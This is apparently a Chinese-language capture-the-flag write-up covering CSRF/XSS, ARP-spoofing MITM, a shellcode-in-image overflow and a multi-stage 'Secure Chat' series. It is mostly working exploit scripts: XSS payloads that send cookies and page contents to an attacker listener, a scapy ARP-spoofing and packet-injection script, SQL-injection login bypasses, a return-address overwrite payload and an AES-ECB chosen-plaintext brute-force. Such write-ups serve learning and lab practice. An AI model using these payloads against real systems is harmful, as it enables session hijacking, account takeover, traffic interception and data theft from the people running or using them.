Web Security CSRF(Cross-Site Request Forgery) csrf-3, 要求执行alert脚本, 但alert必须来自80端口, 故不能直接从本站将脚本发给victim, 需要使用csrf插入xss。
payload = """<script>alert("pwn")</script>"""
csrf-4, 本可以直接使用csrf将draft设置为publish, 但本题做了限制, 即使publish, 但如果是admin的publish也不会公开, 因此只能通过获取cookie伪造admin登录。
payload = """ <script> (new Image()).src = "http://localhost:1337/leak?cookie=" + document.cookie; </script> """
csrf-5, 使用session替代不安全的cookie, 默认httponly属性, 无法通过js泄露, 直接泄露返回的整个html页面即可。
from http.server import BaseHTTPRequestHandler, HTTPServerimport urllib.parsepayload = """ <script> fetch("/", {credentials: "include"}) .then(r => r.text()) .then(data => { (new Image()).src = "http://localhost:1337/leak?data=" + data; }); </script> """ class CSRFHandler (BaseHTTPRequestHandler ): def do_GET (self ): self .send_response(200 ) self .send_header("Content-type" , "text/html" ) self .end_headers() html = f""" <html> <body> <script> location.href = "http://challenge.localhost:80/ephemeral?msg={urllib.parse.quote(payload)} "; </script> </body> </html> """ self .wfile.write(html.encode()) server_address = ('localhost' , 1337 ) httpd = HTTPServer(server_address, CSRFHandler) print ("CSRF server running at http://hacker.localhost:1337/" )httpd.serve_forever()
Intercepting Communication MITM (Man-in-the-Middle) Linux默认开启ipv4转发功能, 会自动将收到的不属于自己的ip包转发出去, 而在unprivileged模式下无法手动关闭, 需要在ARP欺骗收到服务器发来的询问指令command 时, 迅速伪造一个应答包flag , 在内核自动将该command包转发给客户端然后客户端回应前(利用其中存在的时间差)抢先将伪造的应答包发送给服务器。
from scapy.all import *import socketimport threadingimport timeimport osserver_ip = "10.0.0.3" server_mac = "8a:1e:b4:d3:02:fb" client_ip = "10.0.0.2" client_mac = "96:f6:f7:93:22:a2" def arp_cheat (): while True : time.sleep(1 ) pkt1 = Ether(dst=client_mac) / ARP(op=2 , pdst=client_ip, psrc=server_ip) sendp(pkt1, verbose=False ) pkt2 = Ether(dst=server_mac) / ARP(op=2 , pdst=server_ip, psrc=client_ip) sendp(pkt2, verbose=False ) threading.Thread(target=arp_cheat).start() def forward (pkt ): if pkt.haslayer(Raw): payload = pkt[Raw].load if payload == b"command: " : print (f"Receive payload from Server: {payload} " ) ip = pkt[IP] tcp = pkt[TCP] server_seq = tcp.seq client_ack = server_seq + len (payload) ip_resp = IP(src=ip.dst, dst=ip.src) tcp_resp = TCP(sport=tcp.dport, dport=tcp.sport, flags="PA" , seq=tcp.ack, ack=client_ack) response = ip_resp / tcp_resp / Raw(load=b"flag" ) send(response, verbose=False ) elif b"pwn" in payload: print (f"Get flag: {payload} " ) sniff(filter ="ip" , prn=forward, iface="eth0" )
Integrated Security CIMG Screenshots 这两题是Intro to Cybersecurity 中Reverse Engineering 部分的续题, 其中的handle 1337 函数会将图像的截图(Frame Screenshot)存到栈上, 只要将shellcode构造成cimg图像即可。
from pwn import *import subprocessimport structcontext.arch = "amd64" context.os = "linux" shellcode = asm(''' // open flag xor rax, rax mov rbx, 0x67616c662f push rbx mov rdi, rsp xor rsi, rsi mov eax, 2 syscall // read mov rdi, rax mov rsi, rsp mov edx, 100 xor eax, eax syscall // write mov rdx, rax mov rax, 1 mov rdi, 1 syscall // exit mov eax, 60 xor edi, edi syscall ''' )addr_high = 0x40 addr_low = 0x3b42 for i in range (1 ): with open ("my.cimg" , "wb" ) as f: magic_number = b"cIMG" version = 4 width = 255 height = 10 remain_dir = 3 header = magic_number + struct.pack("<HBBI" , version, width, height, remain_dir) f.write(header) handle = 3 sprite_id = 0 pad = b"" for i in range (21 ): pad += b"\x20" * 8 pad += struct.pack("<H" , addr_low) pad += struct.pack("<B" , addr_high) width = len (pad) height = 1 load = struct.pack("<HBBB" , handle, sprite_id, width, height) + pad f.write(load) handle = 4 r = 255 g = 255 b = 255 base_x = 0 base_y = 0 blocknums_x = 1 blocknums_y = 1 ch = b" " render = struct.pack("<HBBBBBBBBc" , handle, sprite_id, r, g, b, base_x, base_y, blocknums_x, blocknums_y, ch) f.write(render) handle = 1337 ss = struct.pack("<HBBBBB" , handle, sprite_id, base_x, base_y, width, height) f.write(ss) print (f"pwn addr: {addr_high} , {addr_low} " ) subprocess.run(["/challenge/integration-cimg-screenshot-win" , "my.cimg" ]) addr_low += 1 if addr_low > 0xffff : addr_high += 1 addr_low %= 0x10000
关键是逆向读懂给的handle指令:
handle1: read(header.w*header.h*4) handle2: read(w*h*4), base_x, base_y, w, h, r, g, b, c ... handle3: read(w*h), sprite_id, w, h, c ... handle4: read(9), sprite_id, r, g, b, basex, basey, blocknums_x, blocknums_y, ch handle5: read(258), sprite_id, w, h, file_name handle6: read(1), bool(clear) handle7: read(4), nanosleep(s, ns) handle1337: read(5), sprite_id, base_x, base_y, w, h frame -> stack
Secure Chat 一个聊天服务器系列题, 蛮有意思的。
Alice将服务器搭在自己的ip上, 只有以本地ip才能作为root登录。之后的所有故事都是围绕Sharon得到flag并泄露给Bob, 然后Mallory向管理员Alice报告这件事展开的。我们作为Hacker身份(普通用户)登录。
Chat 1 登录函数login()中存在sql注入漏洞, 可以随意登录用户。
先通过substring函数对sharon的用户名进行匹配登录, 然后直接查询其与bob的聊天记录即可获得flag。
> curl -c cookie.txt -b cookie.txt -d "username=bob'--" -d "password=1" -L "http://10.0.0.1/login" Hello bob! You are not an admin. > curl -c cookie.txt -b cookie.txt -d "username=1' union select * from users where substring(username, 1, 3)='sha'--" -d "password=1" -L "http://10.0.0.1/login" Hello sharon1068838255019119102! You are not an admin. > curl -c cookie.txt -b cookie.txt "http://10.0.0.1/chat/bob"
Chat 2 Sharon在与bob分享完flag后删除了自己的账户, 但聊天记录仍被保留下来, 只是聊天对象被置为NULL。
Mallory在向Alice报告有人泄露给Bob flag的事情后, Alice向Bob询问此事, 然后Bob将Sharon的用户名以及flag告诉了Alice。
注意到Alice是通过browser来和Mallory通信的, 为插入并执行js脚本创造了条件。且在server的设置中, 特意将SESSION_COOKIE_HTTPONLY设置为False, 则可以通过js的fetch泄露出cookie中的session值(cookie默认可通过js跨源泄露, 而session不行)。
可以通过伪装成Alice与Bob通信获取flag。
> curl -c cookie.txt -b cookie.txt -d "username=mallory'--" -d "password=1" -L "http://10.0.0.1/login" > curl -c cookie.txt -b cookie.txt -d "message=<script>fetch('http://10.0.0.5:31337/?cookie='%2Bdocument.cookie)</script>" -L "http://10.0.0.1/chat/alice" > curl -c cookie.txt -b cookie.txt -d "message=I heard someone shared the flag with Bob!" -L "http://10.0.0.1/chat/alice" > curl -b "session={session}" -d "message=Hey Bob, I need to chat with you about something important. Let's chat securely over DHE-AES: {dh_A}." -L "http://10.0.0.1/chat/bob"
Chat 3 Bob不再与Alice直接分享flag, 只能从Bob与Sharon的聊天记录入手。
注意到modify用户名时, 消息中的原用户名会被替换为新用户名, 则可以使用AES-ECB-CPA选择明文攻击。注册一个新用户名, 使其开头部分与消息的开头相同, 通过login中的sql注入漏洞泄露出username加密值与contents加密值作比较, 逐字符爆破出消息的内容。
> curl -c cookie.txt -b cookie.txt -d "username=1' union select encrypted_contents, 0, 0 from encrypted_chats where encrypted_username_1 is NULL or encrypted_username_2 is NULL --" -d "password=1" -L "http://10.0.0.1/login" > curl -c cookie.txt -b cookie.txt -d "username=1' union select encrypted_username_1, 0, 0 from encrypted_chats where encrypted_username_2 is NULL union select encrypted_username_2, 0, 0 from encrypted_chats where encrypted_username_1 is NULL --" -d "password=1" -L "http://10.0.0.1/login" > curl -b "session={session}" -d "username={new_username}" -d "password=1" "http://10.0.0.1/user/{username}/modify"
Chat 4 修改权限受到限制, 需要admin_pin。
而check_admin_pin不给源码, 大概是可以逆向出漏洞, 反汇编后发现使用了get函数, 则利用缓冲区溢出覆盖返回地址, 使其跳转到granted函数以0正常退出。
构造payload传递给admin_pin表单参数即可(payload以bytes形式构造, 需要通过decode(“latin-1”)解码为字符串传递给post data)
import osimport reimport structimport requestsimport urllib.parseimport socketimport timefrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadmallory = requests.session() response = mallory.post("http://10.0.0.1/login" , data={ "username" : "mallory'--" , "password" : "1" }) if response.status_code != 200 : raise Exception("Mallory login failed" ) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) s.bind(("10.0.0.5" , 31337 )) s.listen(1 ) mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : "<script>fetch('http://10.0.0.5:31337/?cookie='+document.cookie)</script>" }) conn, _ = s.accept() leak = conn.recv(1024 ).decode() conn.close() s.close() pattern = r"session=(\S+) " regex = re.compile (pattern) session = regex.search(leak).group(1 ) print (f"The session is: {session} " )mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : "I heard someone shared the flag with Bob!" }) alice = requests.session() alice.cookies.set ("session" , session) DH_p = int .from_bytes(bytes .fromhex( "FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 " "29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD " "EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 " "E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED " "EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D " "C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F " "83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D " "670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B " "E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 " "DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 " "15728E5A 8AACAA68 FFFFFFFF FFFFFFFF" ), "big" ) DH_g = 2 dh_a = int .from_bytes(os.urandom(256 ), "big" ) dh_A = pow (DH_g, dh_a, DH_p) response = alice.post("http://10.0.0.1/chat/bob" , data={ "message" : f"Hey Bob, I need to chat with you about something important. Let's chat securely over DHE-AES: {dh_A} ." }) dh_B_re = re.compile (r"^bob: Hey Alice, sure: (\d+)\.$" , re.MULTILINE) while True : response = alice.get("http://10.0.0.1/chat/bob" ) if match := dh_B_re.search(response.text): break time.sleep(0.5 ) dh_B = int (match .group(1 )) dh_s = pow (dh_B, dh_a, DH_p) key = dh_s.to_bytes(256 , "big" )[:16 ] cipher_send = AES.new(key, AES.MODE_ECB) cipher_recv = AES.new(key, AES.MODE_ECB) encrypt = lambda data: cipher_send.encrypt(pad(data.encode(), cipher_send.block_size)).hex () decrypt = lambda data: unpad(cipher_recv.decrypt(bytes .fromhex(data)), cipher_recv.block_size).decode() alice.post("http://10.0.0.1/chat/bob" , data={"message" : encrypt("Hey Bob, I know that someone shared the flag with you. Who was it?" )}) encrypted_message_re = re.compile (r"^bob: ([0-9a-f]+)$" , re.MULTILINE) sharon_username_re = re.compile (r"Oh, it was '(\w+)'\." ) while True : response = alice.get("http://10.0.0.1/chat/bob" ) encrypted_messages = encrypted_message_re.findall(response.text) for encrypted_message in encrypted_messages: if match := sharon_username_re.match (decrypt(encrypted_message)): break else : time.sleep(0.5 ) continue break sharon_username = match .group(1 ) alice.post("http://10.0.0.1/chat/bob" , data={"message" : encrypt("Thanks Bob, I'll look into it." )}) print (f"Sharon's username is: {sharon_username} " )login = requests.session() response = login.post("http://10.0.0.1/login" , data={ "username" : "1' union select encrypted_username_1, 0, 0 from encrypted_chats where encrypted_username_2 is NULL union select encrypted_username_2, 0, 0 from encrypted_chats where encrypted_username_1 is NULL --" , "password" : "1" }) bob_encrypted_username = response.text.split()[1 ][:-1 ] print (f"Bob's encrypted username is: {bob_encrypted_username} " )addr = 0x401256 payload = b"\x01" * (0x48 + 8 + 8 ) + struct.pack("<Q" , addr) alice.post(f"http://10.0.0.1/user/bob/modify" , data={ "username" : f"{sharon_username} " , "password" : "1" , "admin_pin" : payload.decode("latin-1" ) }) register = requests.session() register.post("http://10.0.0.1/register" , data={ "username" : "bob" , "password" : "1" }) pad_index = len (sharon_username) + len (": The flag is " ) padding = "A" * (16 - pad_index % 16 - 1 + 64 ) new_pad_name = sharon_username + padding alice.post(f"http://10.0.0.1/user/{sharon_username} /modify" , data={ "username" : new_pad_name, "password" : "1" , "admin_pin" : payload.decode("latin-1" ) }) cpa_username = new_pad_name + ": The flag is " cpa = requests.session() cpa.post("http://10.0.0.1/register" , data={ "username" : cpa_username, "password" : "1" }) cpa.post("http://10.0.0.1/chat/bob" , data={ "message" : "Hey Bob." }) flag = "" for index in range (1 , 64 ): block_num = len (cpa_username) // 16 + 1 old_username = cpa_username response = login.post("http://10.0.0.1/login" , data={ "username" : "1' union select encrypted_contents, 0, 0 from encrypted_chats where encrypted_username_1 is NULL or encrypted_username_2 is NULL --" , "password" : "1" }) encrypted_contents = response.text.split()[1 ][:-1 ][:block_num * 32 ] print (f"Encrypted contents: {encrypted_contents} " ) for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}:.- ' : name = cpa_username + i alice.post(f"http://10.0.0.1/user/{urllib.parse.quote(old_username)} /modify" , data={ "username" : name, "password" : "1" , "admin_pin" : payload.decode("latin-1" ) }) old_username = name response = login.post(f"http://10.0.0.1/login" , data={ "username" : f"1' union select encrypted_username_1, 0, 0 from encrypted_chats where encrypted_username_2='{bob_encrypted_username} ' union select encrypted_username_2, 0, 0 from encrypted_chats where encrypted_username_1='{bob_encrypted_username} ' --" , "password" : "1" }) cpa_encrypted_username = response.text.split()[1 ][:-1 ][:-32 ] print (f"Encrypted cpa username: {cpa_encrypted_username} " ) if encrypted_contents == cpa_encrypted_username: old_pad_name = new_pad_name new_pad_name = sharon_username + padding[:-index] alice.post(f"http://10.0.0.1/user/{old_pad_name} /modify" , data={ "username" : new_pad_name, "password" : "1" , "admin_pin" : payload.decode("latin-1" ) }) flag += i cpa_username = new_pad_name + ": The flag is " + flag alice.post(f"http://10.0.0.1/user/{urllib.parse.quote(old_username)} /modify" , data={ "username" : cpa_username, "password" : "1" , "admin_pin" : payload.decode("latin-1" ) }) break time.sleep(0.1 ) else : print (f"Unmatched! Final cpa_username: {cpa_username} " ) break print (f"The flag is: {flag} " )
Chat 5 将server中session的httponly=False删掉, 此时不能单纯使用XSS让Alice将session泄露出来了, 而需要结合CSRF, 让Alice自己去做之前需要管理员权限的事(修改用户名、与bob交流获取Sharon用户名)。
实际上, 这已经不算是CSRF了, 因为并不符合“攻击者在另一个网站诱导浏览器向受害站点发起带有身份凭据的请求”, 请求不是“跨站”发起的, 而是从同站的注入脚本发起。而XSS中的“跨站”指的是“攻击者通过网站向受害者页面中注入并执行恶意脚本”, 跨的是攻击者和受害者之间的网站。因此此类攻击应该算是“利用存储型 XSS 发起的站内请求伪造(Same-Origin Forged Request)”。
既然没有“跨站”, 则符合“同源”要求: 同协议、同域名(ip)、同端口, 则浏览器会自动带上同站的cookie(不需要加上credentials: “include”), 且fetch操作也不会被浏览器的同源策略所阻拦(否则就要使用location.href这类顶级跳转)
import osimport reimport timeimport base64import requestsimport urllib.parseimport structfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadmallory = requests.session() mallory.post("http://10.0.0.1/login" , data={ "username" : "mallory'--" , "password" : "1" }) mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : f""" <script> fetch("http://127.0.0.1/chat/bob", {{ method: "POST", headers: {{ "Content-Type": "application/x-www-form-urlencoded" }}, body: "message=Hey Bob, I need to chat with you about something important. Let's chat securely over DHE-AES: 0.", }}); </script> """ }) bob = requests.session() bob.post("http://10.0.0.1/login" , data={ "username" : "bob'--" , "password" : "1" }) bob.post("http://10.0.0.1/chat/alice" , data={ "message" : "Hey Alice, sure: 0." }) bob.post("http://10.0.0.1/chat/alice" , data={ "message" : "Hey Alice, sure: 0." }) mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : "I heard someone shared the flag with Bob!" }) key = b"\x00" * 16 cipher_send = AES.new(key, AES.MODE_ECB) cipher_recv = AES.new(key, AES.MODE_ECB) encrypt = lambda data: cipher_send.encrypt(pad(data.encode(), cipher_send.block_size)).hex () decrypt = lambda data: unpad(cipher_recv.decrypt(bytes .fromhex(data)), cipher_recv.block_size).decode() encrypted_message_re = re.compile (r"^bob: ([0-9a-f]+)$" , re.MULTILINE) sharon_username_re = re.compile (r"Oh, it was '(\w+)'\." ) while True : response = bob.get("http://10.0.0.1/chat/alice" ) encrypted_messages = encrypted_message_re.findall(response.text) for encrypted_message in encrypted_messages: if match := sharon_username_re.match (decrypt(encrypted_message)): break else : time.sleep(0.1 ) continue break sharon_username = match .group(1 ) print (f"Sharon's username is: {sharon_username} " )addr = 0x401256 payload = b"\x01" * (0x48 + 8 + 8 ) + struct.pack("<Q" , addr) payload_b64 = base64.b64encode(payload).decode('ascii' ) def csrf (oname, nname ): return f""" <script> fetch("http://127.0.0.1/user/{urllib.parse.quote(oname)} /modify", {{ method: "POST", headers: {{ "Content-Type": "application/x-www-form-urlencoded" }}, body: "username={nname} &password=1&admin_pin=" + encodeURIComponent(atob("{payload_b64} ")) }}); </script> """ mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : csrf("bob" , sharon_username) }) login = requests.session() def check (oname ): while True : response = login.post("http://10.0.0.1/login" , data={ "username" : f"{oname} '--" , "password" : "1" }) if response.status_code != 200 : if "Invalid username or password." in response.text: return else : print (response.text) exit(-1 ) time.sleep(0.1 ) check("bob" ) pad_index = len (sharon_username) + len (": The flag is " ) padding = "A" * (16 - pad_index % 16 - 1 + 64 ) new_pad_name = sharon_username + padding mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : csrf(sharon_username, new_pad_name) }) check(sharon_username) cpa_username = new_pad_name + ": The flag is " cpa = requests.session() cpa.post("http://10.0.0.1/register" , data={ "username" : cpa_username, "password" : "1" }) cpa.post("http://10.0.0.1/chat/mallory" , data={ "message" : "Hey." }) flag = "" for index in range (1 , 64 ): block_num = len (cpa_username) // 16 + 1 old_username = cpa_username response = login.post("http://10.0.0.1/login" , data={ "username" : "1' union select encrypted_contents, 0, 0 from encrypted_chats where encrypted_username_1 is NULL or encrypted_username_2 is NULL --" , "password" : "1" }) encrypted_contents = response.text.split()[1 ][:-1 ][:block_num * 32 ] print (f"Encrypted contents: {encrypted_contents} " ) for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}:.- ' : name = cpa_username + i mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : csrf(old_username, name) }) check(old_username) old_username = name response = login.post(f"http://10.0.0.1/login" , data={ "username" : f"1' union select encrypted_username_2, 0, 0 from encrypted_chats where ROWID = last_insert_rowid() --" , "password" : "1" }) cpa_encrypted_username = response.text.split()[1 ][:-1 ][:-32 ] print (f"Encrypted cpa username: {cpa_encrypted_username} " ) if encrypted_contents == cpa_encrypted_username: old_pad_name = new_pad_name new_pad_name = sharon_username + padding[:-index] mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : csrf(old_pad_name, new_pad_name) }) check(old_pad_name) flag += i print (f"flag: {flag} " ) cpa_username = new_pad_name + ": The flag is " + flag mallory.post("http://10.0.0.1/chat/alice" , data={ "message" : csrf(old_username, cpa_username) }) check(old_username) break time.sleep(0.1 ) else : print (f"Unmatched! Final cpa_username: {cpa_username} " ) break print (f"The flag is: {flag} " )